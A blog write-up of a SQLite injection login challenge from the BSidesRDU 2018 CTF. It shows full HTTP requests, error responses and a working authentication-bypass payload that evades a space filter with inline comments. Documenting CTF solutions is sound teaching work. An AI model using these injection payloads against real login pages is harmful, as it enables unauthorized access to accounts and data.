SQLite Injection in the EverSec CTF (BSidesRDU 2018)

There was some neat SQLite injection during the most recent EverSec CTF, and I wanted to share my solution.

SQLite Injection - Introduction

During the BSides RDU 2018 CTF, I of course found a login page.

In this case, it was slightly different from earlier years, and it actually took me some effort.

There was a second stage to this challenge, but I was unable to get it working in time. I'm hoping that I can have Gabe stand it up again for part 2!

The Challenge

The consultants portal had an administrative login page at http://192.168.0.200/admin. I'm not sure if this was found by manual browsing, or a dictionary attack.

SQLite Injection - Login

That said, default/weak credentials didn't work, so it looked like this would be a potential injection point.

Finding the Injection

First, I tried a simple SQL injection, hoping to get something useful back.

POST /login HTTP/1.1
Host: 192.168.0.200
Content-Length: 22
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://192.168.0.200
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.0.200/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

username=%27&password=

Unfortunately, this just brought back a standard authentication error.

SQLite Injection - Invalid Password

Next, I tried a username of "admin" and a single quote (') as the password. This too returned a standard error message.

<marquee scrollamount='15' style='max-width:30%'>Invalid password for admin, please try again!</marquee>

When I attempted a full injection, I received back a useful error message finally.

username=admin&password='+or+1%3d1+--+-

...

Invalid characters detected, please try again

Note that the filter triggered on the spaces, which will come into play later.

Finally, I decided to try a double-quote (") as the username, and found the injection point!

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 192
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Connection: close
Server: thin

Fatal Error <!-- SQLite3::SQLException: near "users": syntax error: SELECT "users".* FROM "users" WHERE "users"."username" = """ AND "users"."password" = "098f6bcd4621d373cade4e832627b4f6" -->

Exploitation

Now that I knew I probably had SQLite injection, it was time to exploit it. First of all, having only injected into SQLite from time to time, this cheatsheet was invaluable.

After finally receiving my error message, I knew that I'd have to inject into the username, as the browser was hashing the password before sending it off.

First, I attempted to inject a blank username, and limit the number of results to 1, to see if I could just login.

username="/**/LIMIT/**/1&password=test

...

<!-- SQLite3::SQLException: near "" AND "": syntax error: SELECT "users".* FROM "users" WHERE "users"."username" = ""/**/LIMIT/**/1" AND "users"."password" = "098f6bcd4621d373cade4e832627b4f6" -->

When that didn't work, I thought it was because the closing quote for username was breaking the syntax. Commenting out the rest of the query gave back and different error though.

username="/**/LIMIT/**/1--&password=test

...

<marquee scrollamount='15' style='max-width:30%'>Invalid password for "/**/LIMIT/**/1--, please try again!</marquee>

Finally, after a few different attempts, I realized that I needed to provide a username. Once I tried admin plus my injection, it worked, and I received the flag!

POST /login HTTP/1.1
Host: 192.168.0.200
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://192.168.0.200
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.0.200/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

username=admin"/**/LIMIT/**/1--&password=test

SQLite Injection - Success

SQLite Injection - Conclusion

This was a fun challenge, and a nice change of pace from the standard SQL injection.

I've definitely got to brush up on my SQLite knowledge, but the cheat sheet definitely helped.

There are still 2 or 3 more challenges that I have write-ups pending for, so stay tuned!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.